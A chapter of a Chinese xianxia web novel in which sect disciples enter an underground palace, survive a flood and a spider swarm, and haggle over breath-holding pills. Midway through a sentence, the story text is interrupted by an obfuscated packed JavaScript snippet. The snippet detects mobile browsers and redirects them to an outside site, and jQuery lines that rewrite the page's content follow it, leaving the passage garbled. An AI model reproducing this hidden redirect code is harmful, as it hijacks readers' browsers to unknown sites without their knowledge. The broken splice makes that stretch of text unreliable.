封闭的洞穴中,四面八方缓缓溢出浓白的雾气,那雾气沾上人的皮肤,夹杂点点的凉意,化为灵力归入筋脉中,众人才发现那是灵力浓郁到极致所化。
纷纷惊喜不已,迫不及待盘膝打坐贪婪地吸收灵力。
洞穴没有出口,只有矗立在面前的一座巍峨玄黑巨门,隐在白雾中看不清全貌,随着白雾飘动,若隐若现的轮廓极其庞大,仿佛蛰伏的巨兽,带着沉重的压迫感,让人喘不过气来。
可即使如此,却从里面散发出淡淡的金光,玄黑巨门渐渐透明,金光愈发耀眼,让人不由联想到宝物,可再定眼细看时,巨门瞬间凝实,金光若有若无,又让人不由怀疑是不是自己的错觉,十分诡异。
此时的地洞中,聚集了四个门派。
只有明姝和陆沉星两人的剑宗,不远处落在人群最后的合欢宗,领头是个十分眼熟的人,曾经在合欢城招待她师妹的那位青衣,他显然也发现了她,躲在弟子最后,时不时偷偷朝明姝这边瞄一眼,暗自庆幸自己躲得快。
殊不知,明姝掉入地宫,被陆沉星拉了一把,站稳之后,抬眼时视线自然而然落在远处,正好看到他偷偷摸摸地躲藏,想不发现他都难。
妙音阁也到了,白清清连个招呼都没打,见到同宗弟子,立刻扬起下巴端着姿态过去了,享受弟子们的追捧。
最后一个宗门,是丹宗,带头的仍旧是熟人,丹宗宗主亲传弟子,死对头的嫡亲师兄,惯会端水的凌安。
似乎注意到她的视线,微微偏头,朝他温润一笑,尽显翩翩如玉公子气度。
明姝心重重跳了一下,不争气地别过头避开视线。
宝物在前,明姝有些阴谋论了,怕不是想色诱她,让她放松警惕,待会好方便夺取宝物吧。
实在不怪她多想,修真界向来如此,皮囊皆是外物,只要能得到宝物,牺牲一下色相又如何,无所不用极致。
但依着平日里和他合作过的经验来看,他又不像这样的人,更何况若论相貌,他不如死对头。
对,死对头,明姝突然想起他。
视线偏移,发现他竟好端端站在凌安身旁,正用仇视、不可置信的眼神死死盯着她,一副发现了什么的样子。
搞得明姝突然心虚起来,转瞬立刻理直气壮,她已经耗尽灵力救他了,而且以凌安为首的丹宗弟子都在,就算那结界不顶用,他们肯定也会出手救他。
至于来不来及就不是她该思考的问题了。
反正她有那份心就行了,在湖底漩涡时,他不也有心无力嘛,大家彼此彼此。
瞥开视线,转身和陆沉星说话装作商量事情的样子,只要她没看到,死对头就没谴责他的机会。
故作逃避的模样简直不要太明显,宁灼不瞎,早就发现了,生气之余,更觉不可思议。
他在湖底舍命救她,若不是猜到她落入这地宫中,他何故追着下来,若不追下来,他也不至于为了遮掩身份,差点从高空摔下来。
她见到他,不关心他有没有受伤就算了,竟还当着他的面,和别人眉来眼去,眉来眼去就罢了,为什么偏偏挑他师兄?
他比师兄差在哪?论样貌,他胜师兄不知几分,论身份,师兄更不及他。
这不是将鱼目混作明珠,打他的脸吗?
不行,他决不允许。
抱臂在胸前,上前一步,正好挡住凌安半个身子,扭头装作查看面前的玄黑巨门,余光却暗自注意不远处的明姝。
刚刚讨人厌的女修一定是没看清是他,他就不信了,等她看清是他,还能将视线瞥到不起眼的师兄身上。
凌安并没有发现他的小心思,见宁灼盯着巨门,跨过半步靠近,低声解释,“师弟,此处为大能陨落前为自己所建的埋骨之处,听说这位大能曾无意中去过仙界,后又返回修真界。“
“据说,他进入了仙界险地,与争夺的众仙拼杀,夺得至宝,为了摆脱追杀,逃回下界。”
“他当时已受重伤,无力回天,所以建立此地宫,将得到的至宝藏在里面。”
“当人数达到百人时,地宫便会开启。“
说着,他飞快环视了在场的人,“人数差不多已经够了,地宫大门马上就会开启。“
宁灼斜睨他,心中有气,瞧他分外不顺眼,质问道,“你怎么知道?”
凌安听出他的语气不对,转头看向他,果然瞧他绷着脸,神情十分不悦。
他这小师弟性情桀骜多变,向来随心所欲,被师尊宠的,有时连他都敢甩脸子,更何况他这个师兄呢。
只能说有尊敬,会给面子,但不多。
现下明显是他无意中惹到他了,这种情况发生过无数次,大都是在他和明道友起了冲突,他做和事佬去劝解,哪怕不甘心,他倒不会多计较什么,甩甩袖子就走了。
凌安身为下任丹宗宗主,察言观色的功夫做到炉火纯青,略一回想刚刚发生的事情,便有了猜测,大约是他刚和宁道友打了招呼。
当着他的面,和斗了无数次,甚至多次栽在她手中的死对头打招呼,确实挺让人生气。
不过猜到了是猜到了,他并不想理会。
师弟生气就生气呗,反正气了很多次了,也不差这一回,兴许待会可能还有更生气的。
“往届灵山秘境开启,都会有人前往地宫,有地宫中幸存下来的修士,带回的消息。“
顿了顿,目光倏然沉寂,“地宫诡异,目前只听说里面藏有仙界的宝物,至于到底什么情况,没有人……。”
宁灼不想听他的废话,打断他,“有,里面当然有宝物。“
凌安面露诧异,“师弟,你怎么知道?
宁灼重新将目光放到面前的巨门上,眼角余光偷摸盯着不远处凑在一起的两人,语气颇有些咬牙切齿,“当然知道,有……人告诉过我了。”
凌安不置可否。
小师弟身份神秘的很,知道些内幕消息也正常。
注意到他的小动作,凌安拍了拍他的肩,打断他的偷窥。
“师弟,往届进入地宫的弟子,十不存一,丹宗不擅战斗,仅我一人难以护住身后这么多弟子。“
“正好,我见明道友也在,明道友是剑修,剑修出了名的战力强横,剑宗只有她与陆道友两人,单独进入地宫未免势单力薄,太过凶险。
“不如让明道友与我们结盟,加入我们,同我们一起进入地宫内,师弟你意下如何?”
话虽然是询问,但凌安语气笃定,并未有征求他意见的意思,而是直接告知。
不等他回答,凌安便直接转身朝明姝和陆沉星走去。
宁灼盯着他的背影看了两眼,又将视线移到巨门上,一副不感兴趣的样子,实则眼角余光紧跟着他移动。
凌安刻意放慢脚步等了片刻,没等到预料中的阻拦,心中略有些诧异,转而又了然。
小师弟平日里虽然乖张跋扈,但大局观还是有的,他是丹宗领队,大局面前,他就算不满,也不会公然反对他的决定。
既然此刻不出言反对,之后若再故意找明道友的茬,就不要怪他不讲公平,偏心明道友了。
明姝简单问了陆沉星几句关于地宫的情况,完了,两人就死盯着巨门等门开了。
正发着呆,鼻尖突然飘来股清淡丹香,味道熟悉又有稍许陌生,是之前闻到过,留下了印象,却又不常闻,片刻间脑袋中掠过无数人,立刻便有了答案。
转身果然发现凌安正站在她隔壁,距离有些近,浓郁的丹香扑鼻,面容温润带笑,让人不由心生好感。
明姝心一紧,下意识瞟了眼宁灼,却见他还站在丹宗的队伍中,再瞧面前的凌安,心想,他该不会是来替他的小师弟讨回公道的吧?
凌安似乎察觉到她的紧张,轻声开口解释,“和小师弟无关。”
“是我见明道友只有两人,想到你们两人进入地宫后如果遇到危险,难免孤立无援,不如与我们一起,有你相助,我们也有了强力的帮手。”
顿了顿,想起她刚刚偷瞄小师弟的举动,怕她心有顾忌,又道,“明道友不必在意小师弟,此次是我邀请你同行,和他无关。”
这话差不多在说,你是我亲自邀请的人,有我罩着你,他要敢找事,自有我出手。
明姝毫无犹豫,立刻点头同意了。
她和陆沉星对地宫的情况不了解,能免费蹭消息,还不怕宁灼出幺蛾子,这不比与白清清组队好多了,不用再时刻担心惹到她,怕她不和她们分享地图。
得到意料中的答案,凌安并无意外,唇边的弧度翘高了些,耐心道,“人数已够,大门马上就要开了,宁道友先随我与队伍汇合吧。”
两人跟在凌安身后,向丹宗队伍走去。
陆沉星刚开始还不解,丹、剑两宗关系不和谐已久,大师姐又与宁道友有过节,干嘛要跑去他的地盘,加入丹宗。
现下就明白了,看,这不就知道了地宫大门即将打开了。
大师姐真聪明。
陆沉星忍不住看向明姝,明明她比自己低了半个头,低头的角度能清楚看到她乌黑的发顶,但在他眼中,单薄瘦削的身体却仿佛巍峨高山,高大到需要他将头仰到最高,才能瞻仰到她几分风采。
眼中满是崇拜,隐隐有星星的形状。
凌安带两人刚站到队伍面前,还未开口说话,整个地宫突然开始震动,地面剧烈摇晃,沉重的玄黑巨门发出轰隆隆的响声,缓缓开启,霎时,金光从缝隙中透射而出,刺痛了在场所有修士的眼睛,所有人都下意识闭上了眼睛。
再睁眼,眼前已换了副场景。
薄雾缓缓散开,色彩斑斓的灵鸟飞舞,清脆的鸟鸣阵阵,潺潺溪流清澈见底,犹可见其中自由游动的鱼,脚下是青草地,仿若世外桃源,美的像画卷一样。
半空中缓缓显出一方半透明的幕,上面透明的字逐渐清晰。
众人仰头望去,只见上面写着:第一重,踏春日,杀掉石蛛。
石蛛?哪来的石蛛?
众人环顾四周,鸟语花香,呼吸间尽是沁人心脾的浓郁灵气,让人不自觉放松下来,甚至有修士不忍浪费这绝佳的机会,原地盘膝而坐,修炼了起来。
全然没将凭空出现的字放在心上。
丹宗有弟子见此,有样学样,甩了甩宽大的袖袍,也要打坐修炼。
凌安转身发现后,一改往日温和,厉声呵斥,“休要放松警惕,别忘了我们是在什么地方。”
正要打坐的弟子不得已起身,眼中泄露出强烈的不满,却不敢说什么,低头喏喏称是。
此番动静不算大,却惊动了不少人。
毕竟在他们看来,眼前这绝佳的机遇应当抓紧才是,就算待会要杀那什么石蛛,也应该提前保持灵力充沛,养精蓄锐,只有傻子才会白白浪费。
妙音阁自然也不例外,十几个弟子盘膝而坐,将白清清围在中心,灵力聚集,而她处在最浓郁的中心,修炼起来更是事半功倍。
她装模作样地闭上眼睛,装作修炼的样子,实则心思全在丹宗那边。
四人队伍早就散了,宁灼不在,她早就不想和陆沉星一起了,如今她刚找借口离开,没想到他竟和剑宗女修加入了丹宗队伍,反倒是她,只能远远看着那剑宗女修接近宁师兄。
她差点咬碎了银牙。
这点动静,刚好让她找到理由。
施施然起身,垂眼伸出纤细的手抚平裙上的褶皱,姿态高傲,环顾四周的弟子,“丹宗那边出事了,师尊与丹宗宗主关系极好,此次来的有与我相熟的师兄,我不能不管不顾,你们先修炼,我去看看。“
众弟子目露崇敬,心想,果然不愧是她们阁主的弟子,为了别宗所谓的师兄,宁愿放弃这等珍稀的机缘,当真是重情重义,心地善良。
忙为她让出路,目送她远去,转而又专心修炼起来。
明姝站在凌安右手边,他左手边是宁灼,两人一左一右,在他转身呵斥弟子的时候,两人猝不及防面对面对上了视线。
四目相对,明姝平静地移开,看不出半点心虚。
宁灼眉心拧成毛毛虫,极度不高兴,死死盯着明姝,现下终于有机会质问她,你为什么要……
话已经酝酿好,正要开口,身侧气流涌动,吹过来股香风,浓郁扑鼻,他下意识与曾经尝过的甜腻气息相比,反而生出股恶心感。
“宁师兄,终于又见到你了,我在地宫中等了你许久,一直不见你来,还以为你出了什么事,现下见你好端端的,便放心了。”
白清清的声音清脆悦耳,带着小女儿家掩饰不住的雀跃。
明姝绷紧的身体缓缓舒展来开,深深松了口气,真好,救星来了。
也不知是有意无意,白清清前不站,右不去,绕过宁灼,站在凌安正前方,恰好他也听到了动静,转过身时将两人隔得严严实实,哪怕宁灼不甘心,想歪头瞧一眼明姝,也会正对上白清清带笑的娇美脸庞。
看不到明姝,更不想见白清清那张晦气的脸,他干脆扭过头,装作没听到。
被无视了,白清清半点不生气,对宁灼,她早就习惯热脸贴冷屁股了。
转头笑吟吟和凌安说话,“凌师兄,好久不见了。”
凌安自然不会没发现她的小动作,打量了下宁灼,心中已经了然。
细细想来,两人上次见面还是花灯节,月霜仙子来丹宗做客,据此已有小半年,确实许久了。
微微颔首,“白师妹,好久不见。”
他态度并不热络,神情温润柔和,带着疏离,是一贯示人的假面具。
白清清红唇弧度收敛,微仰下巴,显出几分冷漠和高傲,视线越过凌安,环视他身后的众丹宗弟子,顿了顿,收回视线,弯起眉眼,柔声道,“凌师兄为何不让他们修炼?”
“地宫灵气这般浓郁,修炼起来,速度比外边快了不止一倍,如果错过此次机会,怕是再也没有下次了。”
“而且……”
视线飘远,掠过不远处齐齐盘膝而坐的他宗弟子,语气缓下来,“其他宗门的弟子都在修炼,凌师兄不让丹宗弟子修炼,便会落后……”
戛然而止。
但所有人都听出了她未尽的意思。
在秘境之中,修为落后,便意味着失去抢夺资源的机会,甚至面临着性命之危。
而这一切,全都是因为凌安。
不动声色便在丹宗众弟子心中埋下了一根深深的刺,只等时机成熟,这根刺扎破血肉,带出淋漓的伤口,摧毁人的理智。
凌安并不在意,一点小心思罢了。
自他入门,被丹宗宗主收为大弟子的那刻,他就知道自己面对的是什么,身为下任宗主,不仅要掌管偌大的丹宗,还需整日与那些老谋深算的老狐狸打交道,为宗门谋取利益。
在那些活了几百年的老狐狸面前,她的小心思太过直白,牵不动他半点心绪波动,索性当做不知道。
唇边笑意不变,温声解释,“地宫历来是极为危险之地,绝不会像眼前显出的景象这般,鸟语花香,大概只是表象,慎重些没错。“
因为刚刚的一番话,白清清成功收获了十几名丹宗弟子的心,此刻在他们心中,白清清就像从天而降解救她们的仙女,善良、高贵、美丽,为他们的遭遇而鸣不平。
他们绝不容许仙女被欺负。
看不下去的弟子,掀袍向前跨出一大步,走出队伍,先朝凌安行了一礼,然后铿锵有力道,“凌师兄太过谨慎了,就如白仙子所说,与我们同来的弟子都在修炼,不浪费这绝佳的机缘,我们反倒瞻前顾后,须知,富贵险中求,如果连这点魄力都没有,漫漫大道,不如趁早放弃。“
白清清不着痕迹翘了翘唇角,眼底蔓出轻蔑、得意,转瞬便消失不见。
柔声开口打圆场,“这位弟子说的很有道理,但凌师兄也是为了大家的安全着想,你们都没错,灵山秘境的地宫是众所周知的危险之地,不如……“
说到此处,似乎为了印证她的话一样,眼前的如画美景,仿佛被撕裂的画布,从中间横出道长长的裂口,露出死寂的黑暗。
地面剧烈摇晃,崩陷开裂,深深的沟壑看不到底,光线照射下,隐隐散出涟漪水光。
突如其来的变故,沉迷修炼的弟子根本来不及反应,身下陡然落空,巨大的吸力宛如张开的手掌,抓住他们的身体向深处拽去。
浓稠的黑暗吞没他们半个身体时,终于意识到发生了什么,惊恐地伸出手,企图抓住什么,尖声呼救,幻想有人能救他。
一时间,空中尽是此起彼伏的求救声,杂乱、刺耳,充满了恐惧和惊骇,又逐渐转为绝望,悔意铺天盖地而来,如果不是他们贪念过重,以至于忘了身处何地,怎么会白白丢了命。
合欢宗、妙音阁眨眼就折损了十几名弟子,能进入秘境的都是天赋极佳的精英弟子,两宗本不就擅长战斗,这下连仅有的人数优势都没有了。
反而是丹宗,因为凌安的阻止,全都安然无恙。
刚刚还大言不惭,说凌安太过谨慎、瞻前顾后的人,已经灰溜溜躲在人群最后,听着弟子们对他的称赞,心中不忿、后悔,明明这群人刚刚还对凌师兄怒目而视,比他更不满凌师兄的做法,他只是代表他们站出来而已,为什么最后难堪的反倒是他。
却再不敢多说一句话。
至于刚刚为他们说话的白清清,因为离凌安较近,变故发生的瞬间,她就抓紧了凌安的袖口,凌安躲避裂缝时不得已带她一起,倒是安然无恙。
明姝和宁灼立在他左右两侧的凸起土块上,白清清抓着凌安的袖口,扭头朝明姝挑衅一笑,得意极了,好像在说,你看,无论是宁灼,还是凌安,都尽在我的掌控之下,哪怕我刚刚故意与凌师兄作对,他仍然会救我,而你就是被抛弃的那个人。
明姝默默别过头,当做没看到。
再次被无视,白清清一滞,转而怒意滔天,她是觉得她那些手段太过低级,不将她放到眼中?所以一而再再而三的无视她?
既然如此,那就休怪她将她所有东西都抢过来。
她收敛了情绪,转头脸色温柔,笑着与宁灼说话,“宁师兄,你没事吧?”
宁灼拧着眉打量周围的情况,根本没听到她的话。
没得到回应,她并不在意,继续柔声道,“宁师兄你没事,我就放心了,我就知道以宁师兄你的实力,这点小变故根本不值一提。”
宁灼扭头看她,眸中漆黑深邃,尽是不耐,“既然不值一提,那你还提什么?”
白清清脸僵了僵,转瞬眸中沁出水光,泫然欲泣,伤心、不可置信地看着他,张了张唇,正要解释,凌安轻轻挥了挥袖,虽是甩开了她,动作轻柔,让人生不出任何不满。
“白仙子似乎和师弟有些龃龉,如此,我再照顾你,未免会徒惹非议,让人说我不顾同门之情,况且现下的情况……我不擅战,难免有顾忌不到你的地方……“
他垂眼沉思片刻,轻轻叹了口气,“只能委屈仙子,让我丹宗弟子看顾你一二了。”
离得近的弟子自然听到凌安的话,心中满是不情愿,地宫凶险,谁会愿意多个拖油瓶。
又听凌安温和的声音响起。
“仙子心地善良,看不得任何不平事,不辞辛苦,特意离开妙音阁的队伍来到这里,他们感恩于你,更能好好照顾你,护你安危。“
他这么一说,弟子们陡然想起之前发生的事,再看白清清,毫无半点感激,只恨得咬牙切齿。
说是为他们鸣不平,谁知道她是不是故意借此除掉他们,让丹宗实力大减,妙音阁坐收渔翁之利,而她既赢得了美名,又让他们对凌师兄心生不满,不动声色离间丹宗。
好算计好算计。
此仇不报,难解心头之恨。
这般想着,几人互相对视,心照不宣,“凌师兄放心,我们一定会好好照顾白仙子。”
凌安点了点头,眼神坚定,像交代身后大事,“白仙子便交给你们了。”
十几名弟子齐刷刷应声,“凌师兄放心。”
白清清正要出声拒绝,凌安飞身越过深沟,和宁灼站在了一起。
几个弟子飞身站到凌安之前的位置,以白清清为中心,呈保护姿态,团团围住她。
拒绝的话到了口中,她又咽下,现下这种情况,哪怕凌安是丹宗大师兄,但不擅战也是徒有修为,为了安全,还是由多个弟子保护她更好。
地面塌陷并未停止,裂开的深沟中水光越发明显,蓝中发黑的湖水渐渐漫上来,淹没了仅剩的凸起土块。
所有人都落入水中,早有准备的弟子,挣扎浮向水面,发现竟成功了,此非绝境,那股恐怖的吸力消失了。
正待他们庆幸的时候,远处天空突然黑了下来,以湖面为中心,呈包围状向此处蔓延,速度极快,眨眼到了近前,众人才看清,那是无数巴掌大小的黑蜘蛛聚在一起,它们吐出泛着绿光的巨网,纵横交错,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537325|202702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
覆盖整个湖面。
浮出水面的弟子呆了片刻,慌忙拿出武器攻击,被砍到的蜘蛛掉下网,落入水面,立刻被溶解化为水滴融入湖中。
黑压压中出现个缺口,显出湛蓝的天空,下一瞬便又被密密麻麻的蜘蛛覆盖。
他们一喜,顿觉有用,于是更加疯狂地攻击,成团的蜘蛛掉落,不等被湖水溶解,踩着同伴的尸体爬向攻击他们的人,蠕动蔓延,爬上他们的衣服,啃噬他们的身体。
转瞬便有弟子被蜘蛛包围,只听到一声惨叫,一具洁白的骨架缓缓沉入湖底。
蜘蛛团还在蔓延,整个湖面完全被覆盖,它们在幽绿的网上蠕动爬行。
网越结越厚,渐渐压低,距离湖面不足一寸。
所有人深吸口气沉入湖面,不敢再冒头。
没一会,有人耐不住,引了湖水去冲击蛛网,蓄满了灵力,却发现那湖水纹丝不动,没有半分波澜,若不是周身的潮湿与胸口的窒息做不得假,怕真要以为这一切都是虚幻。
宁灼偷偷揣着避水珠,湖水对他并没有任何影响。
而凌安从储物袋中取出颗闭气丹,掰开服下半颗,半颗闭气,整颗闭生机,再以灵力封闭口鼻,防止湖水灌入,正好也可在湖底坚持半个时辰。
眼下,头顶无数蜘蛛虎视眈眈,还有未知的危险潜伏,能不浪费灵力就绝不浪费一点。
目光四处搜寻,很快看到不远处的明姝,正要朝他游去,身旁一道身影灵活冲去,径直揽住她纤细的腰身,将她揽入怀中,更甚至,她半点没有反抗。
凌安默默收起剩下的半颗闭气丹,思考着,两人何时这么熟了。
本该针锋相对、水火不容的两人,竟然能摒弃前嫌,一个愿帮,一个愿接受,着实不可思议。
想到灵山秘境之行后,两人不会再闹得不可开交,他更不用去做和事佬,没脸没皮地去和明道友说好话,心情一阵大好,觉得未来都光明了不少。
心情好了,他便有空想其他的了。
抬眼环顾四周,丹宗此次来的都是精英弟子,闭气丹并不算太难炼制,他们储物袋中都备有,此刻都同他一样,服下了半颗闭气丹,安然沉在湖中。
其他宗门的弟子则不一样了,刚刚一番战斗本就消耗了不少灵力,现在个个气喘吁吁,憋得脸红脖子粗,见此,仓皇游过来求药。
有几个看不下去的弟子正拿出剩下的半颗,犹豫着要不要给,给了岂不是帮助对手,但不给又是见死不救。
于是将求救的投向看向凌安。
凌安眉目温和,朝那位求药的弟子招了招手,在他伸手抢夺时轻轻避开,唇边弧度翘的更高,朝他伸出五个手指。
求药的弟子呆了呆,没懂他的意思。
凌安没有丝毫不耐,从储物袋中取出颗灵石,捏在指间拨弄。
求药弟子立刻明白了他的意思,口中仅剩的空气已经耗完,他没有犹豫的时间,手忙脚乱地去掏灵石。
凌安静静看着他,等他的灵石。
喝了几口湖水,终于将灵石丢在凌安手中,夺过半颗闭气丹,翻着白眼混着湖水,艰难咽下。
凌安轻轻晃了晃灵石,抬眼又朝那弟子伸出五根手指,眉目温和含笑,在弟子眼中却如罗刹般恐怖。
弟子脸色扭曲,扭头就要离开。
五百灵石买半颗闭气丹,做梦都不可能的事,他倒是敢做。
凌安法器是一方小青铜鼎,繁复的花纹带着神秘感,与他丹修的身份相符,却与他周身温润柔和的气质不符,既能炼丹,又能砸人,方便实用。
手掌挥出,青铜小鼎从那弟子头上越过,悬在他面前,急速转动带动湖水,形成漩涡,巨大的吸力将猝不及防的弟子吸入其中,鼎内燃起跳动的灵火,一声惨叫之后,便没了声息。
死掉的是合欢宗弟子,领队青衣被众人推着上前,要他为死去的弟子讨个说法。
青衣摸了摸鼻子,心中无语,拿了人家的丹药不付钱,那不是找死嘛。
于是,他很自觉地掏出五千灵石递给凌安,凌安又取出颗闭气丹,掰成两半,将其中一半递给他,他飞快放入口中服下。
钱货两清,两人都十分满意,互相抱拳行礼后才离开。
青衣回到队伍,迎接的是众弟子的怒目而视,一颗聚灵丹仅仅才两百灵石,五千灵石买半颗闭气丹,还不如直接大把吃聚灵丹撑保护罩呢,这人明显趁火打劫。
这也罢了,竟还当着他们的面杀人,完全不将合欢宗放到眼中,都被欺辱到这份上了,青衣竟连屁都不敢放一个,这般懦弱无能,如何能带领他们在秘境中抢夺资源!
众弟子心思各异,本就散乱的人心更是隔了十万八千里。
然他们不买,有的是人买,在场的都是各宗的精英弟子,谁都不缺那点灵石,磕聚灵丹太过麻烦,且眼下危险还在头顶,没人愿意节省那点灵石来折损状态。
没一会,便有弟子甩袖游向凌安求药。
丹宗其他弟子有样学样,赚的盆满钵满。
明姝躲在宁灼周身形成的避水圈内,圈很小,两人挤在一起,她靠在他怀中,倒也安全。
她本想像那些弟子一样去向凌安求药,发现他竟不是免费给的,而是要收灵石,立刻收了蠢蠢欲动的心。
没办法,只得白白受了死对头的嗟来之恩。
宁灼则暗自注意着她,心想,他如此大方,不管她如何忘恩负义都前来救她,她此刻肯定自责又后悔,怪自己之前不该连句关心都没有,就与师兄眉来眼去。
见她红唇微动,立即竖起耳朵,等着她的道歉。
没想到,她却是紧盯着凌安,问道,“你师兄和白仙子关系如何?会免费送她闭气丹吗?”
他一愣,没有听到自己想听的话,不由生出愤恨,语气带着股狠劲,恶狠狠瞪她,“当然不会。”
“做生意就是做生意,怎么能有例外,否则引起其他宗门弟子不满,强行攀扯关系,师兄如何服众。”
“哦。”
明姝觉得他说得很有道理,果然很符合他一毛不拔的性格。
摆正姿势,准备看戏,僵着脖子有些累,干脆将侧脸靠在他胸膛上,柔嫩的皮肤触到衣料上的花纹,有些硌得慌,她伸手抚了抚,发现纹路交杂,汇成鸟的形状。
着急看戏,根本不关注是什么鸟,便顺着向上摸去,在宁灼忍无可忍,要将她推开不管她死活时,她抓紧衣领向上拽了拽,将花纹移到别处,脸颊靠了上去,冰凉滑顺的布料十分舒服,她下意识蹭了蹭,喟叹一声,感慨死对头果然是有钱人。
突然,她一个激灵,想到了自己并不是独自一人入的地宫,还有同伴陆沉星。
她惊的整个人瞬间清醒,推开宁灼就要去找人,动作有点大,不小心脱离了避水圈,湖水扑面而来,钻入口鼻,慌忙后退,同时下意识抓住他的衣服,将人拖向自己。
重新靠入他怀中,一时忘了,抓起手中的布料就擦了擦脸。
等看清擦脸的是死对头的衣服后,她僵住了,若无其事松开手,掌心溢出灵力,盖在那小块布料上,将其蒸干,然后缓缓抚平。
祈祷他没发现,仰头却对上他炯炯有神的黑眸。
四目相对,尴尬蔓延,气氛有些诡异。
他默了默,朝他伸出五根手指。
“我这身衣服,给你打个折,算一万灵石吧。”
明姝飘忽的目光立刻僵直,绷着脸,面不改色,实则拼命转动脑筋,想着自己要说些什么岔开话题,才能让他忘记这茬,忘记让她赔钱的事。
大约是察觉到了明姝的意图,宁灼挑高了眉,带着几分戏谑,义正言辞地强调,“一万灵石,一块都不能少。”
“当然,如果你没有的话,先欠着也不是不行。”
明姝一听,可以欠着,一万是欠,两万也是欠,不如直接再欠颗闭气丹,给陆师弟服用。
于是,将白皙的手伸到他眼皮子底下,语气平淡,理直气壮。
“那我再赊颗闭气丹。”
宁灼抬手啪的给她一巴掌,用力不小,直将她伸出的手打了下去。
“你空手套白狼呢?”
“把我当傻子?”
“什么都没有,就想要我拿出闭气丹?”
他一连三个质问,狭长的眼微挑,从眼角眉梢瞧她,赤裸裸的,都是嘲笑。
明姝失望地低下头,揉着疼痛的手,也觉得自己太过了,转头盯着不远处的陆沉星,五千灵石,她根本拿不出来,买不到闭气丹,只能以灵力撑起结界,阻止湖水灌入口鼻。
但现下才入地宫,眼前的险境尚没有度过,之后更不知道会发生什么,灵力用一点少一点,战力折损,如何能逃出这危机四伏的地宫。
与同门性命相比,区区脸面,根本不值一提。
此法不通,换种罢了,闭气丹,绝对要到手。
不知道色诱有没有用?
之前拍卖会他那几个妖族同伴透漏过,他向来洁身自好,两人shuang修过,雏鸡开荤,再加上她这倾城绝艳的容貌,以前他不为所动,但现在,肯定没问题。
明姝很自信。
小小弯起唇角笑起来,仰起脸以一种仰望的姿态看他,望进他漆黑的眸中,“师弟没有法宝避开湖水,看在之前同队之谊的份上,能给我颗闭气丹吗?”
绝艳美丽的脸近在咫尺,浓密的鸦羽长睫微微颤动,显出她内心的忐忑。
这般脆弱的姿态,让他生出只要开口便尽在掌握的心思,勾出人心底最深处的占有欲。
深邃的瞳孔深处渐渐燃起簇火,明姝清楚看到他喉结上下滚动,生出难耐的心思,刻意放柔声音,火上浇油,想让那把火烧的更大更旺,烧得他昏头涨脑。
“半颗也足以,可以吗?”
如兜头的凉水泼下来,他瞬间清醒,意识到自己竟被她诱惑到了,宁灼愤恨极了,狠狠瞪她一眼,从储物袋中拿出颗闭气丹,掰成两半,捏着将其中一半塞进她口中,堵住她的嘴,防止说出什么让他难堪的话。
一把将她推出避水圈的范围。
可恶的女修,就为了一颗闭气丹,竟如此不知羞耻……
别过头,不想看她。
明姝浮在湖水中,无所谓地撇了撇嘴,手伸进避水圈内,接过另一半闭气丹,完了,转身朝陆沉星游去,将半颗闭气丹递给他。
满眼慈爱地看他吞下,深觉自己的付出没有白费。